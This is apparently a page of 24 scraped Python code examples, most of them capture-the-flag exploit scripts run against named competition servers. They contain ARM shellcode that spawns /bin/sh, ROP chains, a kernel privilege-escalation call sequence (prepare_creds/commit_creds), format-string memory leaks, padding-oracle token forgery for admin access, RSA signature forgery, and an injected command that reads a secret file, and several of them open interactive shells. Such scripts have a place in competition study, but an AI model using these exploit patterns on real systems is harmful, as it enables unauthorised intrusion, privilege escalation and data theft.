Esempio n. 1
0
def alberry(ctx):
    with Connection('10.210.17.68', 12345) as conn:
        target = struct.pack('<I', 0x0011578)
        if 0:
            conn.send(target * 20 + b'\n')
            conn.interactive()

        raw_buf = 0x9A8A0
        raw_buf = 0x9A89c
        shellcode = b'\x01\x60\x8f\xe2\x16\xff\x2f\xe1\x78\x46\x07\x30\x01\x30\x01\x90\x01\xa9\x92\x1a\x0b\x27\x01\xdf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x00\x00'
        shellcode = b'\x02\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x58'
        shellcode = open('./res.bin', 'rb').read()

        gets_addr = 0x019EAc

        pop_r0_r4_pc = 0x000294bc
        pop_pc = 0x00059978

        payload = struct.pack('<I', pop_pc) * 10
        payload += struct.pack('<III', pop_r0_r4_pc, raw_buf, 0)
        payload += struct.pack('<IIIII', gets_addr, 0, 0, 0, 0)
        payload += struct.pack('<I', raw_buf)
        #assert payload.find(b'\n') == -1
        #assert shellcode.find(b'\n') == -1

        #print('laaa')
        conn.send(payload + b'\n')
        conn.send(shellcode + b'\n')
        conn.send('ls\n')
        conn.interactive()
Esempio n. 2
0
def go(ctx):

    with Connection('abc.eatpwnnosleep.com', 55555,
                    logfile='./conn.log') as conn:
        for itx in range(100):
            print('ON ITER ', itx)
            conn.logfile_obj.flush()
            px = cmisc.TwoPatternMatcher(f'[*] TRY {itx+1}/100', '[!] Fail!')
            conn.recv_until(px)
            if px.b_check:
                print('FAIL  on ', itx - 1)
                return

            r = conn.recv_until('[?]').decode()
            lines = r.splitlines()
            data = []
            print(r)
            for line in lines:
                if not line.startswith('[') and line:
                    data.append(line)
            fname = f'{ctx.rundir}/f_{ctx.runid}_{itx}.bin'

            with open(fname, 'wb') as f:
                f.write(base64.b64decode(get_uniq(data)))
            patches = solve(fname)
            conn.send(fmt_patches(patches))
        print(conn.recv_timeout(2))
Esempio n. 3
0
class Solver(ExitStack):
  def __init__(self):
    super().__init__()
    self.conn = Connection('arcade.fluxfingers.net', 1821)

  def __enter__(self):
    super().__enter__()
    self.enter_context(self.conn)
    self.conn.recv_until('Possible Oracles')
    return self



  def get_ans(self):
    res= self.conn.recv_until('Possible Oracles').decode()
    m = re.search('Ciphertext is  (.+)', res)
    return base64.b64decode(m.group(1))

  def do_xor(self, a):
    self.conn.send(f'XOR\n{a:x}\n')
    return self.get_ans()

  def do_add(self, a):
    self.conn.send(f'ADD\n{a:x}\n')
    return self.get_ans()
Esempio n. 4
0
def client(ctx):
    r = get_ratchet(ctx)
    with Connection(ctx.host, ctx.port) as conn:
        for msg in ('jambon', REQ_FLAG, 'kappa', 'abc'):
            data = r.prepare_send_message(msg)
            conn.send(data + b'\x00')
            ans = conn.recv_until(b'\x00')[:-1]
            message = r.on_recv_message(ans)
            print('Received response to ', msg, 'is', message)
Esempio n. 5
0
def client(ctx):
    r = get_ratchet(ctx)
    with Connection(ctx.host, ctx.port) as conn:
        for i in range(300):
            msg = random.choice(('jambon', 'kappa', 'abc', 'a', 'b', 'c', 'd'))
            data = r.prepare_send_message(msg)
            conn.send(data + b'\x00')
            ans = conn.recv_until(b'\x00')[:-1]
            message = r.on_recv_message(ans)
            print('Received response to ', msg, 'is', message)
Esempio n. 6
0
def test(ctx):
    if 0:
        for i in range(200):
            with Connection('arcade.fluxfingers.net', 1822) as conn:
                order = 79182553273022138539034276599687

                print('ADDINg ', i)
                data = dict(x=542342417109300762922401936535663978,
                            y=726821508217691654812343977365180386,
                            c=0xdead + order * i,
                            d=0xbeef,
                            groupID='jambon')
                print(data)
                conn.send_padded(json.dumps(data) + '\n', 8192)

    with Connection('arcade.fluxfingers.net', 1822) as conn:
        ndata = dict(x=167579391684973268008976899398162142,
                     y=112257816371615265563133215310271332,
                     c=0xdeaf,
                     d=0xbeff,
                     groupID='jambon')
        conn.send_padded(json.dumps(ndata) + '\n', 8192)
        conn.interactive()
Esempio n. 7
0
def test(ctx):
  shellcode = open('./shellcode.out', 'rb').read()


  with Connection('arcade.fluxfingers.net', 1807) as conn:
    addr = 0xbb+1
    bp = 3

    conn.send(f'{addr:x}\n')
    conn.send(f'{bp:x}\n')
    conn.recv_until('Enter the Key')
    assert len(shellcode) == 0x2e
    conn.send(shellcode)
    conn.interactive()
Esempio n. 8
0
def test(ctx):
    with Connection('finale-docker.rtfm.re', 10000) as conn:

        data = conn.recv_until('Your actual')
        m = re.search('width : ([0-9]+) - height : ([0-9]+)', data.decode())
        width = int(m.group(1))
        height = int(m.group(2))
        print(width, height)

        res = conn.recv_until('>')
        m = re.search('x : ([0-9]+) - y : ([0-9]+)', res.decode())
        x = int(m.group(1))
        y = int(m.group(2))
        mp = -np.ones((width, height), dtype=int)

        def get_new(action):
            conn.send(action + '\n')
            res = conn.recv_until(')').decode()
            m = re.search('\(([0-9]+) - ([0-9]+)\)', res)
            x = int(m.group(1))
            y = int(m.group(2))
            return res.find('OK -') != -1, x, y

        vx = [-1, 1, 0, 0]
        vy = [0, 0, 1, -1]
        mp[x, y] = 0
        vs = 'WENS'
        q = [[x, y, 0, -1]]
        while len(q) > 0:
            x, y, i, prev = q[-1]
            if i == 4:
                q.pop(len(q) - 1)
                assert get_new(vs[prev ^ 1])
                continue

            q[-1][2] += 1
            nx, ny = x + vx[i], y + vy[i]
            if mp[nx, ny] != -1: continue
            ok, ex, ey = get_new(vs[i])
            if ok:
                print(ex, ey)
                assert ex == nx and ey == ny
                mp[nx, ny] = 0
                q.append([nx, ny, 0, i])
            else:
                mp[nx, ny] = 1
    go(x, y)
Esempio n. 9
0
def test(ctx):
    print('on test')
    prepare_creds = 0xffffffff8104ed20
    commit_creds = 0xffffffff8104e9d0
    zero_gadget = 0xffffffff81000000 + 0x00000000000dd773
    print(prepare_creds)
    print(commit_creds)
    print(hex(zero_gadget))
    data = 0xffff88000212d240
    print(zero_gadget)

    with Connection('arcade.fluxfingers.net', 1817) as conn:
        client = Client(conn)
        credaddr = client.call(prepare_creds, 0)
        for i in range(5):
            client.call(zero_gadget, credaddr + 0x14 + i * 8)
        client.call(commit_creds, credaddr)
        conn.interactive()
Esempio n. 10
0
def go():
    fil = FIL
    tag, cmd = open(fil, 'r').read().rstrip().split(':')
    cmd = binascii.a2b_base64(cmd)
    blocks = [cmd[x:x+16] for x in range(0, len(cmd), 16)]
    print(blocks)

    prefix = 'self.request.send(open("./secret", "r").read()+"\\n<<EOF")\n'
    prefix += '\n'*(16-len(prefix) % 16)
    prefix = prefix.encode()

    forged_cmd = prefix+prefix+cmd
    data = tag.encode()+b':'+binascii.b2a_base64(forged_cmd)

    with Connection('localhost', 4324) as conn:
        conn.send(data)
        time.sleep(1)
        print(conn.recv_until(lambda x: x.find(b"<<EOF")))
Esempio n. 11
0
def test(ctx):

  if 0:
    x = permv(1)
    v0=nf ** (nr)
    vbase = -keystream.offset % nf
    v = vbase + v0 * x
    #print(keystream.rasta_standard(keystream.key, keystream.rounds, keystream.n, v0, M))
    print(keystream.rasta_standard(keystream.key, keystream.rounds, keystream.n, v, M))

    return


  with Connection('arcade.fluxfingers.net', 1820) as conn:
    s = Solver(conn)

    reslist =[s.query_last(i) for i in range(keystream.n)]
    data = cmisc.Attributize()
    data.reslist = reslist
    data.chall = s.chall
    pickle.dump(data, open(flags.data_file, 'wb'))
Esempio n. 12
0
def test(ctx):
    print('on test')
    with Connection('finale-docker.rtfm.re', 6969) as conn:

        def recv_profile():
            content = conn.recv_until('\n\n').decode()
            data = []
            for line in content.split('\n'):
                pos = line.find(': ')
                if pos == -1: continue
                rem = line[pos + 2:]
                if rem == 'oui':
                    rem = 1
                elif rem == 'non':
                    rem = 0
                else:
                    rem = float(rem)
                data.append(rem)
            return data

        train = []
        for i in range(1500):
            train.append(recv_profile())
        train = np.array(train)
        train_y = train[:, -1]
        train_x = train[:, :-1]

        print(train_y)
        clf = GradientBoostingClassifier(n_estimators=100,
                                         learning_rate=1.0,
                                         max_depth=2,
                                         random_state=0).fit(train_x, train_y)
        #sigsegv{I_L0v3_Tent4cl3s}

        for i in range(500):
            u = recv_profile()
            res = clf.predict(np.array(u)[None, :])
            conn.send('NO'[int(res[0])] + '\n')
        conn.interactive()
Esempio n. 13
0
def test2():
    n = 128
    key = [random.randint(0, 2 * n - 1) for i in range(n)]
    analyse(key)
    server = 'wob-key-e1g2l93c.9447.plumbing'
    port = 9447

    while True:
        try:
            with Connection(server, port) as conn:
                if 1:
                    pow(conn)
                oracle = ServerOracle(conn)
                solver = Solver(oracle, n)
                key = solver.go()

                true_oracle = TrueOracle(key)
                oracle.chall(true_oracle)
                break
        except Exception as e:
            print('failed', e)
            tb.print_exc()
            pass
Esempio n. 14
0
def main():
  if 1:
    patch()
    return
  print(host, port)
  with Connection(host, port) as s:
    cnds=[]
    n=8
    nx=len(alnum_list)
    T=0
    H=(len(alnum_list)**n)-1
    while T<=H:
      M=(T+H)//2
      s.send('admin\n')
      buf=b''
      v=M
      for i in range(n):
        buf+=alnum_list[v%nx]
        v//=nx
      buf=buf[::-1]

      s.send(buf+b'\n')
      print('on iter ', T, H, buf)
      res=s.recv_until(PatternMatcher.fromre(b'error code=(1|-1)|Successfully'))
      if res.find(b'Successfully')!=-1:
        print('found for ', buf)
        T=M
        break
      else:
        print(res)
        m=re.search(b'error code=(1|-1)', res)

        assert m
        if int(m.group(1))==1:
          T=M+1
        else:
          H=M-1
Esempio n. 15
0
def doit():
  with Connection('localhost', 4445) as conn:

    token, roomnum = step1(conn)

    conn.recv_until('AND YOUR TOKEN')

    def query(rn, data):
      tt = base64.b64encode(data).decode()
      tmp = conn.send_and_expect(f'{rn}|{tt}\n', 'AND YOUR TOKEN')
      return tmp.find(b'ACCESS GRANTED') != -1, tmp

    tbin0 = bytearray(base64.b64decode(token))

    debug_room = None
    for rn in roomnum:
      print('QUERY ROOM ', rn)
      _, res = query(rn, tbin0)
      if res.find(b'WELCOME TO ROOM "DEBUG"') != -1:
        debug_room = rn
        break
    print('DEBUG ROMO ">> ', debug_room)

    def q_padding(data):
      _, tmp = query(debug_room, data)
      return tmp.find(b'Invalid padding') == -1

    oracle = PaddingOracle(q_padding)
    print(len(tbin0))
    #res = oracle.recover_msg(tbin0)
    print(res)

    admin_token = b'{"guid": "dc5928bd15b87de8b3335f67e6712444", "level": "ADMIN"}'
    enc_token = oracle.encode(admin_token)
    print(query(roomnum[0], enc_token))

    return
Esempio n. 16
0
def test1():
    cmd = "print 'bonjour'; kappa jmabon\n"
    data = test_sign(cmd)

    with Connection('localhost', 4324) as conn:
        conn.send(data)
Esempio n. 17
0
def hack_client(ctx):

    local_pk = load(open(f'./public-data/bob.key', 'rb'))
    remote_pk = load(open(f'./public-data/alice.key', 'rb'))
    lsig = SignatureScheme(None, local_pk)
    rsig = SignatureScheme(None, remote_pk)

    ratchet = make_ratchet(lsig, rsig)

    import glob
    msgs = glob.glob('./public-data/messages/b2a*')
    msgs.sort()
    data = {}

    tb = []
    hl = 256
    for msg_id, msg_fname in enumerate(msgs):
        content = open(msg_fname, 'rb').read()
        signed_data, signature = content.rsplit(b"|", 1)

        h = lsig.hash2(signed_data, msg_id + 1)
        data[msg_id + 1] = [h, signed_data, protocol.decode_int(signature)]

        tb.append(
            [np.array(h, dtype='object'),
             protocol.decode_int(signature)])
        #signature_valid = lsig.verify(data, protocol.decode_int(signature))
        #assert signature_valid

    N = local_pk.n
    fk = local_sig(ctx)
    last_sig = tb[-1][1]

    def inv(x):
        ix = gmpy2.invert(x, N)
        assert x * ix % N == 1
        return ix

    for i in range(1, len(tb)):
        tb[-i][1] = tb[-i][1] * inv(tb[-i - 1][1]) % N

    for i, (h, x) in enumerate(tb):
        v = fk.sk.r
        for j in range(hl):
            if h[j] == 1: v = v * fk.sk.s[j] % N
        v = pow(v, 2**i, N)
        assert v == x, i

    mat = []

    last = tb[-1]
    tb = tb[:-1]
    n = len(tb)
    tmp = []

    hlist = []
    for i in range(n):
        x = inv(pow(tb[i][1], 2**(n - i), N)) * last[1] % N
        hdiff = last[0] - tb[i][0]
        tmp.append([x, hdiff])
        hlist.append(list(hdiff))
        #print(list(hdiff)) for dumping to sage
    json.dump(hlist, open('./mat.data', 'w'))
    if 0: return

    data = Attributize(json.load(open('./tsf.data', 'r')))
    print(data.base)
    slast = 1
    for i, (u, v) in enumerate(data.make_unimodular):
        slast = gmpy2.powmod(slast, u, N) * gmpy2.powmod(
            tmp[data.base[i]][0], v, N) % N

    scoeffs = [1] * hl
    scoeffs[0] = slast

    for i in range(1, hl):
        scoeffs[i] = tmp[data.mat_id[i - 1]][0]

    if 0:
        for have, hdiff in tmp:
            x = 1
            for j, v in enumerate(hdiff):
                x = x * gmpy2.powmod(fk.sk.s[j], (2**(n)) * v, N) % N
            assert x == have

    sexpr = [0] * hl

    if 1:
        for i in range(hl):
            print('processing ', i)
            cur = 1
            for j in range(hl):
                cur = cur * gmpy2.powmod(scoeffs[j], data.imat[i][j], N) % N

            sexpr[i] = cur
            assert cur == (gmpy2.powmod(fk.sk.s[i], 2**n, N))
    else:
        for i in range(hl):
            sexpr[i] = pow(fk.sk.s[i], 2**(n), N)
        r = pow(fk.sk.r, 2**(n), N)

    r = last[1]
    for i in range(hl):
        if last[0][i]:
            r = r * inv(sexpr[i]) % N

    ratchet.remote_public_element = 1
    public_element, iv, ciphertext = ratchet._encrypt_message(REQ_FLAG)
    public_element = 1
    signed_data = protocol.encode_int(
        public_element, 256) + b"|" + protocol.encode_int(
            iv, 16) + b"|" + protocol.encode_bytes(ciphertext)

    nmsg_id = n + 2
    nh = lsig.hash2(signed_data, nmsg_id)
    print(nh)

    forged_sig = r
    for i, v in enumerate(nh):
        if v: forged_sig = forged_sig * sexpr[i]
    forged_sig = forged_sig * forged_sig * last_sig % N

    data = signed_data + b"|" + protocol.encode_int(forged_sig, 256)

    with Connection(ctx.host, ctx.port) as conn:

        conn.send(data + b'\x00')
        res = conn.recv_until(b'\x00')[:-1]
        ratchet.public_element = 1
        flagans = ratchet.on_recv_message(res, hack=True)
        print(flagans)
Esempio n. 18
0
def run():
    with Connection('localhost', 17171) as conn:
        with Process('./build/gitzino/distribute/gitzino_solve query',
                     shell=True) as oracle:
            x = Server(conn, oracle)
            x.solve()
Esempio n. 19
0
def solve():
    remote = 1
    if remote:
        conn = Connection('52.6.64.173', 4545)
    else:
        conn = Process('./ebp')

    with conn as x:

        data = ''
        for i in range(60):
            data += '{}:%08x '.format(i + 1)
        data += '-1END\n'
        x.send(data.encode())
        res = x.recv_until(PatternMatcher.frombytes(b'END\n'))
        res = res.decode()
        tb = [x.split(':') for x in res.split(' ')]
        tb.pop()
        tb = {int(x[0]): int(x[1], 16) for x in tb}
        print(res)
        global id_base_addr
        id_base_addr = tb[4] - 0x18 - 0xc - 3 * 4
        g_int80 = 0xf761fa63 - 0xf7584979 + tb[44]

        mk = tb[12] & 0xffff
        if not mk < 0x300:
            return False

        expected_exit_off = 0xf7621150 - 0xf7619979 + tb[44]
        print('cxa should be at >> ', hex(expected_exit_off))

        y = X86Machine(0)
        print(hex(tb[44]))
        #disp_ins(x, y,tb[44]-libc_id_off, 20)

        if 0:
            c = code.InteractiveConsole(locals=dict(locals(), **globals()))
            c.interact()
            return
        if 0:
            while True:
                try:
                    data = input('next addr? ')
                    data = data.split(' ')
                    addr = int(data[0], 16)
                    n = int(data[1])
                    res = do_read(x, addr, n)
                    print(res)
                    #disp_ins(x, y, addr, n)
                except KeyboardInterrupt:
                    raise
                except Exception as e:
                    print(traceback.print_exc())
                    pass

        libc_start = tb[44] - 9
        if remote:
            execv_off = 0x9b100
        else:
            execv_off = 0x000b3140 - 0x00018570

        g_execv = libc_start + execv_off
        g_pop3 = 0x80485dd

        need_write = (tb[12] - 0x20) & 0xffff

        target = tb[12] & ~0xffff
        target_start = 0x340
        target += target_start

        g_pop1 = 0x8048385
        rop = RopBuilder(target, 4)
        rop.add('I', tb[12])
        rop.add('II{I:_ref_path}{I:_ref_argv}{I:_ref_env}', g_execv, 0)
        rop.add('{#argv}{I:_ref_path}{#env}I', 0)
        rop.add('{#path}{"/bin/bash}?', 0)

        buf = rop.get()
        print(buf)

        for i in range(len(buf)):
            write_ctrl_addr(x, target + i)
            write_addr(x, buf[i])

        write_ctrl_addr(x, tb[4] - 0x20)
        disp(x)
        input('final write')

        write_addr(x, target_start, buf, 0)

        c = code.InteractiveConsole(locals=dict(locals(), **globals()))
        c.interact()
        time.sleep(1)
        res = x.recv(1024)
        print(res)
        res = x.recv(1024)
        print(res)
        res = x.recv(1024)
        print(res)
        res = x.recv(1024)
        print(res)
        input('finish')
        return True
Esempio n. 20
0
def hack_client(ctx):

    local_pk = load(open(f'./public-data/bob.key', 'rb'))
    remote_pk = load(open(f'./public-data/alice.key', 'rb'))
    lsig = SignatureScheme(None, local_pk)
    rsig = SignatureScheme(None, remote_pk)

    r = make_ratchet(lsig, rsig)

    import glob
    msgs = glob.glob('./public-data/messages/b2a*')
    msgs.sort()
    data = {}

    tb = []
    for msg_id, msg_fname in enumerate(msgs):
        content = open(msg_fname, 'rb').read()
        signed_data, signature = content.rsplit(b"|", 1)

        h = lsig.hash2(signed_data, msg_id + 1)
        data[msg_id + 1] = [h, signed_data, protocol.decode_int(signature)]
        tb.append([h, protocol.decode_int(signature)])
        print(tb[-1])
        print()
        #signature_valid = lsig.verify(data, protocol.decode_int(signature))
        #assert signature_valid

    N = local_pk.n
    hl = 256
    fk = local_sig(ctx)
    last_sig = tb[-1][1]

    def inv(x):
        ix = gmpy2.invert(x, N)
        assert x * ix % N == 1
        return ix

    for i in range(1, len(tb)):
        tb[-i][1] = tb[-i][1] * inv(tb[-i - 1][1]) % N

    last = tb[-1]
    tb = tb[:-1]
    n = len(tb)
    tmp = []

    for i in range(n):
        x = inv(pow(tb[i][1], 2**(hl * (n - i)), N)) * last[1] % N
        hdiff = last[0] - tb[i][0]
        tmp.append([x, hdiff])

    sel1 = tmp[-1]
    sel2 = None
    for cnd in tmp:
        if gmpy2.gcd(tmp[-1][1], cnd[1]) == 1:
            sel2 = cnd
            break
    else:
        assert 0

    d, u, v = gmpy2.gcdext(sel1[1], sel2[1])
    if u < 0:
        sel1[0] = inv(sel1[0])
        u = -u
    if v < 0:
        sel2[0] = inv(sel2[0])
        v = -v
    spw = pow(sel1[0], u, N) * pow(sel2[0], v, N) % N
    expected = pow(fk.sk.s, 2**(hl * n), N)

    rpw = last[1] * gmpy2.powmod(spw, -last[0], N) % N

    r.remote_public_element = 1
    public_element, iv, ciphertext = r._encrypt_message(REQ_FLAG)
    public_element = 1
    signed_data = protocol.encode_int(
        public_element, 256) + b"|" + protocol.encode_int(
            iv, 16) + b"|" + protocol.encode_bytes(ciphertext)

    nmsg_id = n + 2

    nh = lsig.hash2(signed_data, nmsg_id)
    print(nh, nmsg_id, signed_data)
    forged_sig = last_sig * pow(rpw * pow(spw, nh, N), 2**hl, N) % N
    print(forged_sig)

    data = signed_data + b"|" + protocol.encode_int(forged_sig, 256)

    with Connection(ctx.host, ctx.port) as conn:

        conn.send(data + b'\x00')
        res = conn.recv_until(b'\x00')[:-1]
        r.public_element = 1
        flagans = r.on_recv_message(res, hack=True)
        print(flagans)
Esempio n. 21
0
 def __init__(self):
   super().__init__()
   self.conn = Connection('arcade.fluxfingers.net', 1821)
Esempio n. 22
0
#!/usr/bin/env python
import sys
from chdrft.tube.connection import Connection

data = b'''
int main()
{
   write(1, "hi", 2);
}
'''
data += b'a' * 256
data += b'\n'
data += b'\x03'

with Connection(
        'crippled_f7fddee5e137122934909141e7d3f728.quals.shallweplayaga.me',
        11111) as c:
    c.send(data)
    print(c.recv(1024))
    print(c.recv(1024))
    print(c.recv(1024))
Esempio n. 23
0
def main():
    with Connection('school.fluxfingers.net', 1513) as conn:
        data = get_data(conn)
        print(data)
        solve(conn, *data)
Esempio n. 24
0
def main():
    dsa = DSA.generate(512)

    data = [dsa.key.y, dsa.key.g, dsa.key.p, dsa.key.q]
    data_str = ','.join(map(str, data))
    chunk_size = 64
    chunks = []

    for i in range((len(data_str) + chunk_size - 1) // chunk_size):
        tmp = data_str[64 * i:64 * i + 64].encode()
        chunks.append(binascii.b2a_hex(server_pub_enc.encrypt2(tmp)[0]))
    enc_key = b','.join(chunks)

    n = 0x345080e693fa74f29d5ccac2f13556bea2541231949e14d7cd86068e5adcbc3d5622936f770fab224beea0da967057fdd9cd8419561c77445fa8b358720afc9f3703acc4b3b6901140587d83477fd271d3499797f9582bb1a5c985804ff905055cc4efecedd70cacc219ca3ba49537d6268ab66aa1c639c1963e089f3a63aac9b8b
    n = 0x167c731ae38435961bd5322b2b0ec685027147d194b8096fc2bcadacbece96d29b11c93dff0417644387aaca8cbdaa3bc895fd787c8fed999c19efcda1b0603b79370e675fc3a7e5536c8b07566b845a2fb513735d7ddb5051d04fe129eae00f17896ca892087388249b4e68acf46ed6938338a03b3a542b2c20f861cbc86eab10751
    n = 0x3ada6f51c3e3009b4b63bb14b710624f321248b12741559e29a487eaaa05167dfd9f712e1825769ba612595b81945e0def05c379cc11a4419a3bfa00f14c6ca43ec21306955fc16621025898b59219cc1c4e0474719dbc715f9c31344c9af39a3d954fedc39651f244ee2c333fe257125a97d4db45135b53eb2383714f302bcf6b6
    n = 0x29b32eb59e7ee1c467e1cc952af0d531d9d3128fbd6aecab8394fddc016e7786267b212bdaf6d343fef51a7a8ebec644c65d040f70b99e5a5c570024328431d17800ecd478bcb6fb92c0dfd76fd7cea637d9317c1cdd90b9b30f548daa7e39fb5a9d289246e4b90ec665e797bc76587d4d19e2edb2e6269621910f83b17726240de12c18e69a
    n = 0xc56f3ad5b3eca2ea9920c4fb01a84bf6538e2a5dd9f776a9fa1b22590a8609bb4a03ed13c7c07aa82d792c5676c8296381518838b03444079604b88b1d5048d2da88c036201c1599da302532b94a0ba9902750748d491bbfb1c0da674b6cbba0c1fb6bb693080eabdd0c7096757c8b80fe8ca6d82cb1bc5151a30fa40f9ea982675b1

    k = RSA.construct((n, 12))
    x = PKCS1_OAEP.new(k)

    assert len(sys.argv) > 1
    with Connection(remote, remote_port) as conn, Process(sys.argv[1]) as proc:

        print('ENCRYPT MOFO')
        try:
            len_sig = len(x.encrypt2(b'kfwefappa')[1])
        except:
            print('EJSUS FAIL')
            raise
        print('ENCRYPT MOFO')
        sent_sig = 'YOU KAPPA F**K'
        prefix = '\x00' * (len_sig - len(sent_sig))
        sig = prefix + sent_sig
        sig = sig.encode()

        db = []

        y = Oracle(proc)
        y.send_num(hex(n)[2:].encode())
        odd_max = 2
        if 0:
            for i in range(0, odd_max):
                s = get_guess_for(i)
                print('ON STEP >> ', i)
                nbit = 10
                for A in range(2**nbit):
                    s2 = ''
                    for j in range(nbit):
                        if A >> j & 1:
                            s2 += ' '
                        else:
                            s2 += '\n'
                    s2 = s + s2
                    gen = x.encrypt2(s2.encode())[1]
                    print(gen)
                    print(hex(n))
                    work = gen
                    res = y.get(sig, work)
                    if res:
                        db.append(res)
                        break
                else:
                    assert False
        else:
            db.append([
                b'a0fbbacc479a8a3af09aebdbb9ae30834a10699d9d618108514d88f308161577809ae60e182c75e0f95797806179363a4c17da900373a3879ac3a692dc5f8f8b1e022eee294dd7013858394fa2f366179f64c9ab0ff28c89b3a78b1a6b6a8852de7a3f5de4dbe6ae0667941e8283f4c3eaa22572cc4dd4dceef54251bd3cf4690d301',
                b'2a1fed419b80c8145524c84c9c1f2efdf598d18da0eecfd2892a8956358827e613cf05c505e9b902277727c889a7ff32ea0b4bbe018fc8acc33743cfa14d31597a0e879135edc1257c8815208817dc7f6ed470c4e75742890ec7f7604c7025afa4f0f6193e3df2925320553ea1c9be3982369dd2b35b2b858fc7ea029e132693e355'
            ])

            db.append([
                b'42de041b5d51a89aa133a02dcb108a0714344d6cd0e23cee44d0e64a7c03fcd7163a8195f106ab8664215d9d13efa63871189ddbf25a7aedb1803c6ae5d8c75bd3aa78ac934f68ff1b55d4984bd66b8e79d1b490d553f1f0b3d93c04101e78603e94e5577f6525f934bef8016497820831e9e6a4571e446334a98e1b9d99f015a1735',
                b'70f611574824ae1ca492657f842feb2fea44283f7e7cc1da42997df2a54402975a490b9ca3990c95536c93c317976d7db1c844575b5f3f12bd9cc4f83808f31635749dd58da1b4cb392b08131766472895db3beb16f5317f4477a0df71f84c22de477066ce0bc4468df5a68e2527390c561c8c177b823f824b6926acf17599447f509'
            ])

        print('sending')
        conn.trash(1)
        conn.send(enc_key)

        while True:
            time.sleep(0.5)
            pattern = b'You have \$([0-9]+)\)\n'
            res = conn.recv_until(PatternMatcher.fromre(pattern))
            monies = int(re.search(pattern, res).group(1))
            assert res

            conn.send('{}\n'.format(monies))

            conn.recv_until(PatternMatcher.frombytes(b'At what odds'))
            conn.send('{}\n'.format(odd_max))

            conn.recv_until(PatternMatcher.frombytes(b'Alright, what is your'))
            send_with_sig(dsa, conn, binascii.b2a_hex(sig))

            res = conn.recv_until(
                PatternMatcher.frombytes(b'Now what is your'))
            rng = re.search(b'the secure RNG is ([0-9]+)\n',
                            res).group(1).decode()
            rng = int(rng)
            print('rng is >> ', rng)
            want = rng % odd_max
            uu = get_rsa_key_from_db(n, db[want])
            print(uu)
            privkey = PKCS1_OAEP.new(RSA.importKey(uu))
            guess = privkey.decrypt(sig)
            guess = int(guess[len("I hereby commit to a guess of "):])
            send_with_sig(dsa, conn, uu)